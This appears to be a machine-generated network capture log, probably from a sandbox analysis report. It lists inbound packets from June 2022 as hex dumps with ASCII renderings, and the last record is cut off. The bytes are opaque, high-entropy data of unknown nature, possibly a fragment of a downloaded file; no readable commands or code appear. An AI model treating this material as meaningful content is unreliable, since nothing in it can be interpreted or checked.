2022-06-26 07:42:48 UTC	195	IN	Data Raw: 23 2c e3 0c 24 3b 6c 3d 5d 92 98 80 1b 5c 28 ae 7d 6b 39 42 18 25 2e 30 47 29 12 fe af 54 63 0e cb 46 23 71 a3 31 ce 07 b3 cd 8f c1 66 cf d7 98 c4 28 73 e0 e0 dc 5c db 12 aa 05 46 f5 5b fb 60 24 36 21 59 be 19 06 5b dd d7 1e 65 55 6c aa 37 4c 66 21 d4 ec a8 f6 ef fb fd 8b ea a2 73 7f 55 4d 2e a1 9c 4d 2e bd a5 02 d2 e1 9b 20 c7 1a b9 bb ab fd 73 f3 80 42 94 09 ff 6f ca b9 18 f0 c9 5f 81 92 52 4b 75 dc e9 52 35 0f e0 61 09 78 79 f0 af 00 89 0a a4 68 16 7d f3 cd 18 fe 62 46 b9 51 9f ef be a4 49 0c 2e 4b 27 53 36 53 be bc 76 22 b7 cd 3e 0f b0 e7 c9 8b a8 b2 6e 9f 65 69 13 c7 00 85 c6 e0 51 82 3d 43 37 ad 0f d1 33 97 f2 ab d5 8f 00 16 f5 5f 44 89 3a 09 70 3a a5 e5 af 08 9c f1 5e 43 f8 e5 d3 5c 4f ba ed 6e 4c 84 d9 f2 07 78 46 3c 62 07 a1 1f 68 a6 fc 4e a0 02 Data Ascii: #,$;l=]\(}k9B%.0G)TcF#q1f(s\F[`$6!Y[eUl7Lf!sUM.M. sBo_RKuR5axyh}bFQI.K'S6Sv">neiQ=C73_D:p:^C\OnLxF<bhN
2022-06-26 07:42:48 UTC	199	IN	Data Raw: 68 b7 0e 54 96 1f 6a b3 8d 2c 6c b1 29 ff d4 ec d7 47 31 95 47 5c fd 81 12 24 01 78 f4 44 c4 2b c7 ff 91 89 e3 4c 4e 75 9d b3 7f 73 41 8f be 07 92 d5 c3 37 99 35 eb 97 6f c4 f7 4c b6 6f 07 a4 11 79 e8 7c 07 5f b8 da 2c ea 16 d1 75 76 4b af 03 f4 92 26 69 ff bf 66 6a a2 1d eb c9 4e d3 1b 25 0c d8 cf 9a 84 41 e5 30 38 65 db 4d fb 16 5c bd 53 7f 59 74 04 d3 5f 5d 56 22 95 b6 86 20 82 f7 ea 84 ed 15 fd cf 50 79 63 3b 00 53 08 c9 d5 88 ad 1b de 76 98 85 a2 73 97 dd 5c f5 03 71 cd cb 8b 3f ff 23 24 82 ba 34 e9 0f 11 02 a9 de 6b d0 d3 2e fa 76 85 5a c1 5b 1d 4e b5 e4 55 3e 71 ef a5 da 4d f4 92 9c 01 9d 0c de 09 55 ae e6 23 d4 8b cf 19 88 28 30 26 76 b4 55 8f 2b 21 e9 e9 fb dc f8 8f 86 d0 d5 f4 4d 8c a2 ea 9f 67 6c 43 3d 10 05 8a 3e e9 b1 3a f0 97 95 fa 8a 3f 4f Data Ascii: hTj,l)G1G\$xD+LNusA75oLoy\|_,uvK&ifjN%A08eM\SYt_]V" Pyc;Svs\q?#$4k.vZ[NU>qMU#(0&vU+!MglC=>:?O
2022-06-26 07:42:48 UTC	203	IN	Data Raw: 39 dc 7e 73 79 c2 4b 51 dc 98 33 f8 48 e4 e1 62 e4 9e 3f 72 45 27 04 4e 05 31 69 a4 15 c2 1e 11 1d 78 50 60 9d df fc 8d 08 2f 4a 80 5d 0c a5 d0 9d 46 11 19 9f 59 68 16 49 89 7e 3a ea 4f c3 11 79 f1 68 d7 9d ef 70 10 10 df 8f 5e d7 bf 08 b0 6d 7c 34 d3 49 4f 88 dd ae 12 c3 23 a3 54 e7 82 09 89 f5 df 1f ba 58 56 cb 64 12 3a 3c b6 75 6f 03 59 62 be 28 5c 08 32 bf 8f f5 05 4e 22 5f 81 25 83 d1 66 ee 90 95 f7 ce 42 b1 ad 3d c4 75 ba 04 aa 11 69 c4 35 7a 88 06 e0 5d 73 ac 33 79 58 3d 28 61 b5 3c 72 c5 e7 bf 56 60 b9 b1 a2 f5 b6 8e b0 6e 29 f2 18 25 b7 52 2d 3f fa 52 cf 5e f3 c1 08 b0 0a 0d 4f 17 7e 8a 04 a2 c5 70 1d bc 0a ec 34 52 44 50 e8 df 8b 09 b2 ca 98 ea b8 01 86 6e f6 d7 22 b1 9a 69 9c d2 c5 9f cc f1 a1 52 47 5e 44 61 30 60 2c f9 df 6f 87 18 bb bd 2d 65 Data Ascii: 9~syKQ3Hb?rE'N1ixP`/J]FYhI~:Oyhp^m\|4IO#TXVd:<uoYb(\2N"_%fB=ui5z]s3yX=(a<rV`n)%R-?R^O~p4RDPn"iRG^Da0`,o-e
2022-06-26 07:42:48 UTC	207	IN	Data Raw: 62 34 71 ee d1 8f e9 8e 05 6e 12 41 57 67 df b1 60 d2 2c ad 8d c9 94 ad 9d dc 2e 3a e4 8b df 52 b0 d5 57 18 85 4f 94 c3 89 81 57 ee e2 43 8a 01 21 cb bb 34 b3 39 9e 1a 52 fc 0a 69 12 f6 5b ec 01 e2 99 a1 42 da ea 57 e4 f4 9a b9 5a 2c 7d 3f 6d 22 8d 0b 5e 83 44 fd e3 47 6f ae 65 a3 24 8f fe 51 04 78 77 64 33 2e 81 48 d0 8d ee fd 53 2a 4a 41 e7 7a 01 f0 de 9b 6a 17 18 6d 3c 75 6d 3a ec b6 99 1f 49 00 23 e6 69 b1 bc 42 27 ec fe c2 b8 c8 7f 9c 39 e2 7b 66 f8 c7 60 8b 01 02 2a f4 11 d3 a8 e5 81 eb e9 47 be 6c ba a9 2a 8c 1a e2 60 11 04 a2 3b 69 39 4d d1 e3 70 3b 8e d7 78 67 e5 c5 f3 69 65 48 e2 ec 23 f2 59 93 bd 7b 07 c2 75 48 d4 ca 3c 72 b9 2b fb ca 34 e4 c9 f2 e9 4b a0 ee 1d 0b b9 37 c3 ec 2d 9a fc a3 12 fd a8 16 4c 4e d0 3e 36 3e 6a 85 3a 4e 7b 45 03 4b aa Data Ascii: b4qnAWg`,.:RWOWC!49Ri[BWZ,}?m"^DGoe$Qxwd3.HSJAzjm<um:I#iB'9{f`Gl*`;i9Mp;xgieH#Y{uH<r+4K7-LN>6>j:N{EK
2022-06-26 07:42:48 UTC	212	IN	Data Raw: e8 64 21 81 90 ce 85 4a 79 4f 53 c9 ea 03 40 6f b6 c1 db 05 be a7 0c 50 f8 fe 68 1d 32 28 fc eb 46 68 39 75 0e 60 6b a7 6f 57 e8 f3 a9 1c 24 05 7b 10 30 d3 c7 87 90 b3 27 22 43 fc 4a b5 b3 f1 a4 b0 f6 93 5a 3a f6 e7 5a 0c 3e 5e 11 78 f0 8a 20 d6 b5 6c 43 af cd d7 5c 0e 08 1c 17 9c 3b ca 59 7f 4d 6d 12 d3 25 59 6f c3 6d 48 92 d2 8b eb 8c 7d d0 1f 6e 81 af 15 d9 f5 23 0b a7 af 81 28 f5 ea 24 0f 30 38 1f 14 8a 6a e8 d2 f4 60 74 85 dd 38 2e b2 a8 df d7 ee d3 ad ac 9c 67 1d 24 bb eb 8f 35 71 d9 d0 31 10 0d c3 34 57 54 36 e5 67 af 91 5e 1e 61 4c 2e fe 95 5c 3a 32 f5 8a d3 8c 83 7d e8 50 a2 04 02 94 66 f3 05 20 18 84 58 2f 9b 87 1b 58 62 fc 72 91 cf 2f 4c 6f cc 77 b4 62 62 4d 4d 3c fc 49 88 5e 83 92 b2 c7 80 44 cf 5e ec 02 ce 74 0d 27 29 76 4d d7 07 be 45 23 fc Data Ascii: d!JyOS@oPh2(Fh9u`koW${0'"CJZ:Z>^x lC\;YMm%YomH}n#($08j`t8.g$5q14WT6g^aL.\:2}Pf X/Xbr/LowbbMM<I^D^t')vME#
2022-06-26 07:42:48 UTC	216	IN	Data Raw: 67 ef 43 5b 46 45 59 48 27 19 fb a7 c8 3e 02 dd 7c 96 2a 86 5c fc 9f f1 ac fb 32 48 fd 6f f1 8f 0e 4e cf 9d 06 ab 74 80 3c b8 12 14 17 ab 26 0c db de 86 bc 66 11 cd 7b e5 83 ff e6 b0 57 2a 2e 59 66 0f 89 79 1b 1e cb 53 1e 45 28 e4 3e f2 2f 13 4a 6b 75 6c ec 44 88 e7 bd 2e 27 e8 e3 27 01 70 fb 57 a1 49 75 67 35 9d 23 7b ad ea 69 45 69 ce 82 b9 3b c3 2e 18 7f 9e f7 2e 87 3d 3c 87 e6 6e 9f 11 27 59 73 01 ae 58 f3 9d 9b e9 05 06 16 d2 f7 c6 14 8e bb 0c d9 39 76 0d ed 42 5a 23 d7 68 b5 4b 65 6b ce e5 ae fe 10 db ca 9a f2 54 a9 e4 47 a9 18 8c ed cc 95 f4 9e 35 35 9c 19 69 e1 74 a2 87 71 9a 3c 2a c7 28 80 43 8c 2b a3 db 1e f1 23 67 22 2d be 5c b1 db 58 b9 28 6e 52 ec fc 36 57 2b 89 3c 95 44 ff a8 ef 42 8e 1a ee a0 52 28 8d f3 c5 de a0 b7 a2 d9 1b 5e 8b 8a bd b5 Data Ascii: gC[FEYH'>\|\2HoNt<&f{W.YfySE(>/JkulD.''pWIug5#{iEi;..=<n'YsX9vBZ#hKekTG55itq<*(C+#g"-\X(nR6W+<DBR(^
2022-06-26 07:42:48 UTC	219	IN	Data Raw: bb 8f a0 bf 0f b5 5d e1 01 30 8c 8d 5f 28 29 03 97 5f 6a 03 bd e6 f7 5a da cc 91 5a 8f c9 2e 46 f0 3d ee 84 4b 32 eb 96 9f 92 41 81 ec 14 32 fd 7a 38 49 41 f6 57 65 16 2a 3d 5e 6d 16 84 b2 99 4f f5 37 88 5c f8 62 07 a9 49 a2 75 81 04 f0 ae 0f b1 cf 9e 06 4b 63 b3 93 7b 10 5a 8e ad 32 a3 1b 78 c9 84 b6 53 1a d6 31 43 19 8b 18 7e c9 ff 0e b7 96 fd 66 f6 2a a9 5a 99 5c 24 2e 66 53 4a 03 e1 95 e4 97 0f be 43 3a 9c cf 32 e0 7f a8 33 e6 65 6d 11 dc 5f 98 74 2f 92 7a 70 00 7c cb 95 bf b0 d8 ce 75 a8 7e fa 61 3c c0 a3 9e 24 90 7d 83 98 9e ff 1a 1f 46 62 17 18 14 d1 32 92 79 27 ff bf 57 73 28 f6 89 93 d3 dc b7 51 26 00 a4 d6 16 d8 21 bb 8c 81 d0 fd 16 1a e1 f0 17 bf 28 b1 b7 7d e8 73 c2 f3 a3 56 01 d6 e5 31 b7 90 a0 ca 30 58 9e 7c f9 02 c1 f1 42 8a ab 7b 12 b1 bb Data Ascii: ]0_()_jZZ.F=K2A2z8IAWe=^mO7\bIuKc{Z2xS1C~fZ\$.fSJC:23em_t/zp\|u~a<$}Fb2y'Ws(Q&!(}sV10X\|B{
2022-06-26 07:42:48 UTC	223	IN	Data Raw: 3b 50 1f 78 a2 b5 c0 3c 5e fd d5 8a bc 01 b7 74 f9 78 05 7d 0c 5b 94 70 33 d7 65 d4 8a 97 38 a0 19 a0 63 a2 b6 92 bc 55 00 de d6 b1 d7 5a 03 28 e5 95 c9 2b 18 26 c3 67 9a d3 ef f3 07 57 27 63 d0 ba 1e 71 2e 00 d1 60 4c fc 20 80 8e 33 54 d3 79 cc f6 fb 77 1f f4 2f 79 4c 09 59 22 b3 bb 75 1b a3 62 11 b4 96 96 d0 3c ed fe f1 da cf 08 5a 87 50 67 44 4e 77 b8 7e 4c c5 ee 20 82 72 ed 77 dd a9 4d f0 e9 ec 7e d2 d9 15 b2 75 26 ab d4 31 14 2b e5 f2 67 2c e5 33 5f 4a b3 7c e1 71 76 58 03 1b 8f 63 57 e5 4b d1 6e fe 84 a6 00 f4 55 b9 2d b1 25 fb 09 b1 6c 1a 6f 61 8c 2b 75 b3 c1 b1 e2 eb fa 86 0e d1 38 c9 10 c6 96 36 ed 43 0b 8e bf 11 76 15 20 33 d3 5a d2 a6 a1 27 86 63 84 08 2e 16 12 fc 47 4f 87 4d 37 d9 ed c2 ed 16 69 3c f5 51 a3 b9 fd 63 36 ee 29 3d 94 0b b7 ec f6 Data Ascii: ;Px<^tx}[p3e8cUZ(+&gW'cq.`L 3Tyw/yLY"ub<ZPgDNw~L rwM~u&1+g,3_J\|qvXcWKnU-%loa+u86Cv 3Z'c.GOM7i<Qc6)=
2022-06-26 07:42:48 UTC	227	IN	Data Raw: 91 29 62 99 3a 85 d9 c6 48 45 62 c2 a8 bc ac fc 28 c7 82 55 2f f3 c4 4b 10 94 df ef 25 fd d6 48 07 84 a3 d8 60 35 f4 48 6a 21 b4 d8 87 bf fb 1a 6c 55 59 e3 02 ee c6 87 7f 16 97 c4 7f 92 7a ea a9 a2 ad 50 6d 5d 79 32 81 86 e7 71 84 e7 24 0b 3c ad 3a 27 41 fc 69 ac 30 fa 7e a3 2e 0b 81 2e b5 f8 9c e1 71 4b 80 14 55 ea a5 a8 09 4b a4 4e 37 18 65 e7 db 7e de 62 1c 0b 16 3b 9e ae 85 65 8f 06 89 72 c8 3a 30 f5 9a 8a 8e 5c 0e ea 34 44 4c e5 9d a8 b4 f5 13 69 65 e3 e7 02 b9 99 99 31 12 22 96 ea 8e ef 00 ac cf f4 15 08 cb 11 e5 17 dc 52 18 0c 78 00 d7 bf 44 a0 50 e2 39 88 d8 ef 00 8d 22 01 02 00 b1 f2 b8 11 9f d9 7b 36 c1 74 5a 56 f9 65 ca a5 da d5 be 81 a1 20 ae 0a 19 41 ec 6a fb ec 48 ad c8 0a fe 48 cf fb e0 36 4b c9 8e 8b 52 84 e2 5a 93 b7 5c 93 ef e2 9b a8 b5 Data Ascii: )b:HEb(U/K%H`5Hj!lUYzPm]y2q$<:'Ai0~..qKUKN7e~b;er:0\4DLie1"RxDP9"{6tZVe AjHH6KRZ\
2022-06-26 07:42:48 UTC	231	IN	Data Raw: d2 39 1c 13 fd d6 f6 e1 e5 3e f6 14 86 48 d9 3d 10 bb b4 4d bd 13 38 be 17 61 97 f9 81 49 b9 fb 67 37 85 62 3f 07 c7 68 53 cc 54 a9 40 a3 db b8 11 30 61 54 ef 89 93 3e 64 fc ea 0c 4a 80 c0 bd 08 3c 75 82 c9 7f 68 7a bc 84 64 d0 ce ba d8 86 6e 25 ed 89 1a 85 35 61 d3 c6 ec 7d 71 5c 0d 9c 0e 11 6f 8b 2f f0 ee 71 95 35 0b b5 fd 4a 1b 42 f4 3e a9 77 5c 33 d1 96 51 89 83 22 64 2f 9b cf e3 bb dd fb c6 01 68 df 9a 52 a2 16 26 ff ef 56 05 86 62 da f9 9b c3 e6 e8 e1 0e d8 15 99 8d fb d1 79 ad 40 0e b9 bb 42 47 46 fd a6 7b f2 50 e9 60 8b a7 f1 6d a0 bb 96 8a 24 1b 79 2b 4b 7a e8 4d 83 b2 32 b6 44 9b ad 00 b6 bc ca 0a be 37 59 f6 55 6d 65 db 99 6e 89 c3 26 fc 06 36 fc 6b 53 55 cc de e2 82 2d 87 47 cd 4d 88 5c 20 48 2a 90 a7 40 7f 52 64 6b 90 ba 35 56 56 14 3c 44 52 Data Ascii: 9>H=M8aIg7b?hST@0aT>dJ<uhzdn%5a}q\o/q5JB>w\3Q"d/hR&Vby@BGF{P`m$y+KzM2D7YUmen&6kSU-GM\ H*@Rdk5VV<DR
2022-06-26 07:42:48 UTC	235	IN	Data Raw: 14 8a f6 92 5b 62 7d 46 3c d6 d1 8e 14 92 c1 8e e8 18 48 f3 75 4e 19 67 33 b4 4b b4 92 29 90 e5 92 59 30 c4 28 3d 8f 87 2c 2d 3c 54 79 25 64 c4 2a a1 44 6b dd d6 38 60 b7 e1 9f f1 75 01 6d 9e 8f d9 1f 21 c5 ca 0f 3c 26 5c 0f 50 74 61 38 8a 8e 61 f1 c3 fb cc ff 16 44 7c 6f 3a 8a e6 41 d0 18 f2 ef 2c d7 e3 b0 51 65 b0 d6 00 13 3b 48 27 c9 18 ab 84 5d da 78 a5 f5 c6 4b ec 7c 76 39 0d 8e 9f 15 25 96 3c da 08 0f e8 67 73 51 ff 63 07 64 12 75 6c d0 c0 87 d3 05 27 ff 42 0b a9 57 44 c9 c6 47 29 84 97 0e 26 67 77 e6 2a 7a 58 3c f6 c4 2d 18 7b 4c d9 28 c9 e7 21 b9 40 0b 4b 00 81 4f ad e7 f9 0b 85 2b 95 92 30 95 b6 ad a3 43 10 b6 37 f5 4f 6f c9 c4 8f 71 fa 84 07 18 94 ed 84 84 a7 49 64 30 f4 2d a2 c5 1e 76 fb 6e 45 d8 16 aa 25 4e c7 24 5e 70 42 e1 f3 57 da e3 43 5c Data Ascii: [b}F<HuNg3K)Y0(=,-<Ty%dDk8`um!<&\Pta8aD\|o:A,Qe;H']xK\|v9%<gsQcdul'BWDG)&gwzX<-{L(!@KO+0C7OoqId0-vnE%N$^pBWC\
2022-06-26 07:42:48 UTC	239	IN	Data Raw: af ee a7 01 73 1a 2e 59 61 c5 f4 20 5d 13 23 e8 74 9e 0b ac 6f 66 41 62 45 ee 3b c8 4b 9b 7b c6 a3 61 90 62 a5 8d ba e2 44 76 12 c4 f9 ef 8b 2f 34 39 dc a4 7a 90 8a b5 42 6e 97 0b 4b 6c 53 38 12 b5 47 37 b3 59 e4 a4 f4 46 61 00 32 3d f2 75 de 00 cf 4f ec 68 88 e6 de 00 1f 42 71 a5 97 b7 4a dc 76 3c db 3d 37 d4 56 23 18 86 61 10 3f 3c a4 86 0b c0 c4 9e 0c ec fc e3 ac b7 85 5a f1 d3 8f 60 d2 c1 87 f7 5e ce e7 9a 6f 2a 57 24 64 58 9c eb 9b 4a c0 29 51 a7 73 0a a8 36 42 11 50 c6 28 b5 ae 76 d8 52 34 47 3c fe c6 31 e6 76 b2 5a 29 41 6a 01 22 18 40 96 20 98 35 66 17 dc a0 ca 1e 2f 49 66 fb 2a 21 41 b9 f8 26 a1 8f 74 f0 1f e0 2d 9d 42 c7 05 d1 61 de dd 4c e4 42 19 76 1c a6 a1 ea 9a 24 51 4c 61 ca 2e 7c 7d 45 10 ed 11 1f dc 66 e8 96 52 02 8c b7 ff 8c ba 98 19 7c Data Ascii: s.Ya ]#tofAbE;K{abDv/49zBnKlS8G7YFa2=uOhBqJv<=7V#a?<Z`^oW$dXJ)Qs6BP(vR4G<1vZ)Aj"@ 5f/If!A&t-BaLBv$QLa.\|}EfR\|
2022-06-26 07:42:48 UTC	244	IN	Data Raw: 5e 55 aa bf b4 ca 34 b4 05 d1 50 0c d2 fc ef db e5 38 38 61 37 e9 d6 35 fb 59 74 4d ba 68 38 f9 69 db 89 f5 1b 05 18 15 2d c7 e6 68 fb 06 4a 0c 1b 4e d0 df 82 3b 81 80 c8 a9 b2 49 87 c1 76 73 f0 9c c3 2f b2 f8 e0 5c 22 d6 1b 0b 88 55 6a 55 2d a3 3a 82 6e d4 18 df 87 66 4d 99 d2 5e be 58 f4 fb cf 70 98 e2 4c 2f 51 0d 57 55 09 0a 6d ff df 04 64 af a8 34 d2 d8 e0 66 8c 6c ac dd a2 24 9d ea 02 5f 1b 84 b5 85 c4 e4 e6 6b 24 26 dd 54 c2 52 c7 c4 0b 77 4c 8e 09 70 b2 b6 05 be 20 6e 79 f2 b7 ab 66 2a 1b 5b 45 95 07 fb 38 b4 ef 40 38 f1 2e 39 eb 21 66 0d 99 87 b2 b4 fc 00 d5 b5 f0 c7 8e d5 f5 9c 58 a2 cd 9c 76 67 30 12 10 47 02 5d 10 f0 e5 9d 2d fa 61 c8 83 52 06 8d d3 3f 1c 90 b6 c3 41 6e a5 c7 f3 28 f3 4c 15 b4 90 0e ca ae c4 5e 1a d6 38 2f 74 7d 7a 79 ca 04 9b Data Ascii: ^U4P88a75YtMh8i-hJN;Ivs/\"UjU-:nfM^XpL/QWUmd4fl$_k$&TRwLp nyf*[E8@8.9!fXvg0G]-aR?An(L^8/t}zy
2022-06-26 07:42:48 UTC	248	IN	Data Raw: 63 5c 5e e0 04 d4 a9 c7 95 e2 96 21 17 4b 1f 0a a0 5f c4 68 6a a9 49 d5 4f c4 05 fa e9 49 22 04 2b f5 cb cd 1e a2 f1 84 a8 28 19 8b 08 ef 7c 5c 02 87 d6 4d 3b 77 75 44 a2 2a e5 79 7c ed 7a 58 f2 5b ce 6a 79 d1 15 b0 97 9a 66 ac 0f 38 a5 b4 de 6f 79 95 87 5a f8 90 e9 c0 22 91 b2 85 31 1a 8e 9b c8 dc 43 52 cc e0 45 ed 61 6c 6c a3 e4 f5 63 a2 99 c4 d5 85 a2 55 cc 26 51 89 61 f0 52 46 57 4d 24 30 2d 48 41 cb ba 80 6a a2 56 07 4f 67 b4 9b a6 77 5a 96 fd ce 9e 31 2b 25 0f ed 02 99 5b f6 09 54 61 3a 34 c3 33 6f 98 ae 46 3e 92 3d 02 e3 e2 ef fa a2 21 77 05 ba 49 b9 7b 19 37 7a 8e 87 e3 6e c0 f4 5d 7c d9 aa 0d 1c 3e 3d ce 3d 39 bf ca 82 9b aa 23 c7 d4 16 e3 57 c8 c1 be 77 8d f2 77 4f c8 18 4a b6 5f 70 4a c2 61 ce 0e 3e 35 da 0c ee 92 f2 25 48 16 85 ba 78 00 e0 da Data Ascii: c\^!K_hjIOI"+(\|\M;wuD*y\|zX[jyf8oyZ"1CREallcU&QaRFWM$0-HAjVOgwZ1+%[Ta:43oF>=!wI{7zn]\|>==9#WwwOJ_pJa>5%Hx
2022-06-26 07:42:48 UTC	251	IN	Data Raw: c0 6a 5f 6c f4 7f 96 38 c7 b9 77 bd 8d 03 cb d5 b5 bc d6 00 ae e0 b3 c1 95 81 b3 ef ae 6b ff 73 4c 89 ac e6 7b c0 5d 1f b4 46 a2 ed 03 fe f4 26 9e 03 f6 ca 73 b6 f9 04 f1 35 64 b7 c3 68 0d 0a b1 90 c2 63 36 29 4d 31 7c 05 0a c3 a6 3b 47 e8 59 1e fd b4 e8 23 48 94 d2 c6 be 74 68 36 b9 28 7c fc 14 30 53 92 11 c3 b9 2f 9e 91 0c e0 fd df 69 d4 55 d7 19 9f e1 99 6b 69 59 50 8b 12 f5 23 cc e6 d5 a2 91 5f 62 d0 b8 52 ba 10 b3 88 ee 3f b0 f2 55 e0 93 4d 2f fc 5c 33 98 29 38 76 e5 0c 80 1c a2 90 15 a6 d4 c0 d3 d6 a2 54 39 ed e3 ff 26 2e c3 e3 41 a5 68 cc ea 66 e1 d1 c8 52 76 19 f8 26 c0 fc 22 ac ce 3d 13 bd d3 31 04 bb 0c f4 f3 c3 34 84 12 1a cf 42 a5 99 01 89 ec c0 bd 67 c4 6d 83 c1 3f 9c 36 7e f8 0d 50 ff d8 a1 4c 62 66 54 d0 1e 47 c7 80 8d 83 78 82 51 ff a6 de Data Ascii: j_l8wksL{]F&s5dhc6)M1\|;GY#Hth6(\|0S/iUkiYP#_bR?UM/\3)8vT9&.AhfRv&"=14Bgm?6~PLbfTGxQ
2022-06-26 07:42:48 UTC	255	IN	Data Raw: 27 6e 93 54 d4 30 ac 64 c7 ca 2e 58 c5 19 3e ca b6 d4 71 f7 89 de ef 13 52 5c dc 4f 3d 8a 53 e9 04 f5 9e be 71 7f 24 de 47 73 1b 1f 5c 1a cc ba 30 fa 78 dc 7c b2 9c 3d 36 11 d8 22 e2 7e 3f 47 b9 68 80 b5 9a 85 8b b8 d1 e2 3b 24 28 68 d9 d1 c8 a0 64 5b 0d f2 61 f9 18 d0 cb 60 44 b6 2b b8 d9 d0 17 c5 e2 b9 db 77 17 9b 2f f2 27 3f 02 e7 ca b5 21 11 6a 61 cb f8 54 bc 2a 61 ca b2 68 02 8f 39 34 a0 11 6a 47 64 4c 72 b3 3f 6d cc 00 0c a8 34 5c 6b 47 55 ee 9d c7 5e a3 73 86 82 20 a6 ba 6b 1c bd 6d d0 6d a1 10 49 f3 63 ef 40 f9 67 7e 44 6b f1 9d 66 d8 39 8b 2c 8d 06 64 de c5 4d a1 ae d0 1d 4c e8 be 69 c4 7e 88 de 43 fe a0 90 e0 fc d4 eb fb 18 e4 f3 69 a2 2a a4 61 8d cc 31 22 c2 24 19 05 22 d7 c1 7e c1 77 10 43 fc 9e 3c e2 b7 d0 22 32 63 51 08 38 58 4e 50 c2 02 3c Data Ascii: 'nT0d.X>qR\O=Sq$Gs\0x\|=6"~?Gh;$(hd[a`D+w/'?!jaTah94jGdLr?m4\kGU^s kmmIc@g~Dkf9,dMLi~Cia1"$"~wC<"2cQ8XNP<
2022-06-26 07:42:48 UTC	259	IN	Data Raw: 30 32 c8 dc 5e 60 7a ae 30 b8 de aa b9 5a 39 24 00 66 08 54 c8 2c 3c 41 42 f0 5d fa 0c 1b 13 ad ff ec 72 d9 8d bd b8 47 da 20 8d f4 5d e7 82 ad b5 74 7d 1f 2d 0f 82 a3 08 ea 97 c2 9f 23 92 4b 4c 06 4c 4f 53 6a 32 94 90 a4 e7 2f b3 21 51 69 e5 a3 08 9e df a0 8a 52 85 9f a7 12 e2 07 20 4f 8c 16 15 9d c0 19 64 50 1c 6f d1 56 1a 77 cc a4 58 c2 8a 6b ca cf 43 2d 31 0d 56 ab f3 b4 e5 a9 28 dd 62 20 2b 49 12 c2 80 d6 86 9a b6 95 9c d1 98 8a a8 13 0d aa fc e6 32 ff 12 cd 6a db a4 d2 71 52 87 f8 54 b3 42 95 fd a7 39 e8 13 42 6e a5 f8 0c 82 0c 2d 75 6e af 12 9c c8 bc 03 71 b5 e8 47 61 b6 3d e6 ac 10 52 65 cd 57 23 94 18 6a 27 c4 bc 48 7d 5b 6d 1d 19 2a 0c 29 d8 7d 1f 1d eb 8b 94 e3 df d8 d4 73 8b b8 c8 21 d0 75 26 b8 ed 96 a0 16 8b ac 7b 82 1b 16 f4 b2 10 0f c4 d3 Data Ascii: 02^`z0Z9$fT,<AB]rG ]t}-#KLLOSj2/!QiR OdPoVwXkC-1V(b +I2jqRTB9Bn-unqGa=ReW#j'H}[m*)}s!u&{
2022-06-26 07:42:48 UTC	263	IN	Data Raw: eb 6d 09 d5 0d 5f 06 74 6a 69 d7 f7 dc 3f c4 bb 2b bb 7a 08 06 35 51 8e 37 b8 4b 6c 3a f9 6b fa 75 82 f8 8c 25 7d 5e ff a5 50 ab f6 0d 5e 89 f0 c4 59 34 17 76 78 d2 90 57 8f 0b ca 09 c2 5b 16 13 74 5f b2 3b 07 66 d8 61 e3 4b ac 00 c8 a0 78 f9 fb 8c f0 cb 82 8c 4b 33 a4 f0 b4 2a 7f 69 f3 8d 89 03 3f 20 e0 2a a7 f7 1a f4 df 45 2c 58 1d 6e 48 1e 7e c9 c6 72 6e c1 85 04 59 8d 4c f2 c5 98 fa 52 e2 f2 ef fe 01 b7 e1 28 9f 02 10 42 a8 48 8e 11 13 2d 0a 1c ee 27 64 6b 47 2c e4 8a bb 54 3c 1e c3 1e ee 01 19 31 09 cc 6a f5 e5 3b a1 44 7e 38 0b 5a 01 27 4e 56 2f a8 3f 68 f1 f7 46 b9 fd 59 2c 8d 9f a9 e1 2c 35 bd 99 4b 39 77 09 e4 e0 aa b2 46 3f 15 a7 19 4b 9c a5 54 93 6c 8e c7 6f 5d bc 30 91 bb 40 1e 6b 88 31 b5 df 1f de 48 0c 06 c5 0b 19 50 2d e1 90 71 d7 5c 9f 2c Data Ascii: m_tji?+z5Q7Kl:ku%}^P^Y4vxW[t_;faKxK3i? E,XnH~rnYLR(BH-'dkG,T<1j;D~8Z'NV/?hFY,,5K9wF?KTlo]0@k1HP-q\,
2022-06-26 07:42:48 UTC	267	IN	Data Raw: 6c bc be 43 ba 80 4a 55 1d d0 2c 51 54 a9 84 72 85 1d c6 a9 30 b1 aa 88 f2 7e fe f6 2d 88 d2 f2 7b 12 9e 7a db 6a 01 7f f0 25 89 c3 70 60 bd 4b 9f 2a e1 d5 5c f4 60 39 37 dd f0 da 02 e3 a3 23 89 48 ee a1 04 44 5c 62 c1 38 99 93 05 cc 2a bd c4 db 59 81 95 42 40 0f 04 12 0f cf 83 09 d4 7e 6a 0a 42 d0 18 42 e3 f7 03 fe 94 42 b4 c6 41 d0 b0 47 1c 8c 00 2a d7 7c 71 db 8f ad 3a 64 0a 91 5e 27 6c 12 de 48 56 72 28 ab 8b 0c 62 75 ef 01 51 0a 0c f1 5a d5 86 44 a3 97 f3 60 d3 79 70 8f 0a b5 d6 71 18 a1 a5 52 92 b5 35 0a 37 22 cd 2a 31 29 22 30 de 1a a1 3f b2 b8 e6 51 a2 45 74 bc c1 02 cb e8 96 6b b1 19 0f d6 d8 6d 6d 6b 40 f1 15 7c de e3 31 1b c8 a9 d1 5c ea e8 ad 88 d7 11 f4 69 cd 53 64 93 25 b4 f6 cd 28 ef b7 40 ef be 32 1f d8 53 56 c1 9a ae de bc 4f e0 01 c0 fa Data Ascii: lCJU,QTr0~-{zj%p`K\`97#HD\b8YB@~jBBBAG\|q:d^'lHVr(buQZD`ypqR57"1)"0?QEtkmmk@\|1\iSd%(@2SVO
2022-06-26 07:42:48 UTC	271	IN	Data Raw: c6 6d 0c fa 29 c1 70 1b 51 bc 48 f5 81 62 00 28 17 11 89 11 cb 29 6d 0e cd 92 25 bd 66 2a a6 a0 00 5a cd 29 57 7b db 19 25 77 80 17 9a 18 28 14 2c da 24 fd 9b b0 54 a4 09 1e cb 12 f7 bd 41 7c 64 74 3c c9 3d 3b 5c cf ab 90 91 de 54 5d 09 06 34 ea 36 d7 9c 50 c4 4b f0 29 96 e0 ac 4e 6f b4 41 30 10 3d 0d 0d 37 d0 49 8d 85 65 1b 11 8e 8a 98 e0 72 5e 4d d8 dd 4e 50 d1 20 f4 5e 6f 44 09 43 f7 bb 35 48 19 ca 4e cf 69 ef fe e8 0a 22 d4 ca 0c 15 ea c0 b6 73 46 b5 6e 88 18 c8 5f e9 af 85 50 81 dd 7b 11 d9 f0 20 d6 e3 f8 d7 07 62 e7 2d e3 13 fa d4 91 59 2c c6 cd a1 51 d0 49 e9 ca 52 e8 6f 0c a0 82 2b 65 b9 eb f5 0d aa 10 c0 d6 98 ea 73 13 53 a8 33 c7 e5 ae 2a 3c ba 56 62 6c f9 d2 90 a5 e0 4e a5 44 